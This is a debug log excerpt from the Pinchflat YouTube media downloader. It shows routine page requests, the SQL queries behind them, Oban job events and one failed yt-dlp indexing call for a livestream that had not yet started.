db=0.0ms idle=498.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:43.725 [info] Sent 200 in 1ms 17:41:44.224 [info] GET /sources/6/media/1577894 17:41:44.224 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577894", "source_id" => "6"} Pipelines: [:browser] 17:41:44.224 [debug] QUERY OK source="media_items" db=0.1ms idle=877.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577894] 17:41:44.225 [debug] QUERY OK source="tasks" db=0.1ms idle=500.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577894] 17:41:44.225 [debug] QUERY OK source="sources" db=0.1ms idle=500.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:41:44.225 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=500.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5261262] 17:41:44.225 [debug] QUERY OK source="settings" db=0.0ms idle=500.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:44.225 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:44.226 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:44.226 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:44.227 [info] Sent 200 in 2ms 17:41:44.725 [info] GET /sources/6/media/1577413 17:41:44.725 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577413", "source_id" => "6"} Pipelines: [:browser] 17:41:44.725 [debug] QUERY OK source="media_items" db=0.1ms idle=499.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577413] 17:41:44.725 [debug] QUERY OK source="tasks" db=0.1ms idle=499.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577413] 17:41:44.726 [debug] QUERY OK source="sources" db=0.1ms idle=499.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:41:44.726 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=499.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5241991] 17:41:44.726 [debug] QUERY OK source="settings" db=0.0ms idle=378.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:44.726 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:44.726 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:44.726 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:44.727 [info] Sent 200 in 2ms 17:41:45.225 [info] GET /sources/6/media/1577416/edit 17:41:45.226 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577416", "source_id" => "6"} Pipelines: [:browser] 17:41:45.226 [debug] QUERY OK source="media_items" db=0.2ms idle=500.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577416] 17:41:45.226 [debug] QUERY OK source="settings" db=0.1ms idle=500.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:45.226 [debug] QUERY OK source="settings" db=0.0ms idle=500.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:45.227 [debug] QUERY OK source="settings" db=0.0ms idle=500.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:45.227 [info] Sent 200 in 1ms 17:41:45.728 [info] GET /sources/1/media/1577477 17:41:45.728 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577477", "source_id" => "1"} Pipelines: [:browser] 17:41:45.728 [debug] QUERY OK source="media_items" db=0.1ms idle=502.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577477] 17:41:45.729 [debug] QUERY OK source="tasks" db=0.1ms idle=502.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577477] 17:41:45.729 [debug] QUERY OK source="sources" db=0.1ms idle=502.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:41:45.729 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=502.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [5242038, 5248062] 17:41:45.729 [debug] QUERY OK source="settings" db=0.0ms idle=380.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:45.729 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:45.730 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:45.730 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:45.731 [info] Sent 200 in 2ms 17:41:46.230 [info] GET /sources/1/media/1576254/edit 17:41:46.230 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1576254", "source_id" => "1"} Pipelines: [:browser] 17:41:46.231 [debug] QUERY OK source="media_items" db=0.1ms idle=501.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576254] 17:41:46.231 [debug] QUERY OK source="settings" db=0.1ms idle=501.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:46.231 [debug] QUERY OK source="settings" db=0.0ms idle=501.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:46.231 [debug] QUERY OK source="settings" db=0.0ms idle=501.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:46.232 [info] Sent 200 in 1ms 17:41:46.639 [info] {"source":"oban","duration":9887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:46.731 [info] GET /sources/45/media/1577504 17:41:46.731 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577504", "source_id" => "45"} Pipelines: [:browser] 17:41:46.731 [debug] QUERY OK source="media_items" db=0.1ms idle=500.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577504] 17:41:46.732 [debug] QUERY OK source="tasks" db=0.2ms idle=500.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577504] 17:41:46.732 [debug] QUERY OK source="sources" db=0.1ms idle=500.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 17:41:46.732 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=382.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5245329] 17:41:46.732 [debug] QUERY OK source="settings" db=0.1ms idle=93.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:46.733 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:46.733 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:46.733 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:46.734 [info] Sent 200 in 3ms 17:41:47.872 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d9/70/d970c83c41c0cd377375a9fd3d299018f043553569e4fd9c6341097fdb2f38c4.json --sleep-requests 87 --sleep-interval 63 --sleep-subtitles 89 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:41:47.873 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:41:47.873 [debug] QUERY OK source="media_items" db=0.4ms idle=1140.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:41:47.875 [debug] QUERY OK source="tasks" db=0.6ms idle=1140.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268529, 19, ~U[2026-10-09 22:41:47Z], ~U[2026-10-09 22:41:47Z]] 17:41:47.876 [info] {"args":{"id":19},"id":5268486,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":157675889,"event":"job:stop","queue_time":425952,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:41:54.046 [info] GET /sources/45/media/1577469/edit 17:41:54.046 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577469", "source_id" => "45"} Pipelines: [:browser] 17:41:54.047 [debug] QUERY OK source="media_items" db=0.2ms idle=699.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577469] 17:41:54.047 [debug] QUERY OK source="settings" db=0.1ms idle=700.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.047 [debug] QUERY OK source="settings" db=0.0ms idle=700.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.047 [debug] QUERY OK source="settings" db=0.0ms idle=700.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.048 [info] Sent 200 in 1ms 17:41:54.387 [info] GET /sources/1/media/1576242/edit 17:41:54.387 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1576242", "source_id" => "1"} Pipelines: [:browser] 17:41:54.387 [debug] QUERY OK source="media_items" db=0.0ms idle=340.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576242] 17:41:54.387 [debug] QUERY OK source="settings" db=0.0ms idle=340.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.387 [debug] QUERY OK source="settings" db=0.0ms idle=340.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.388 [debug] QUERY OK source="settings" db=0.0ms idle=340.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:54.388 [info] Sent 200 in 1ms 17:41:54.912 [info] GET /sources/28/media/1576207 17:41:54.912 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1576207", "source_id" => "28"} Pipelines: [:browser] 17:41:54.912 [debug] QUERY OK source="media_items" db=0.1ms idle=552.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1576207] 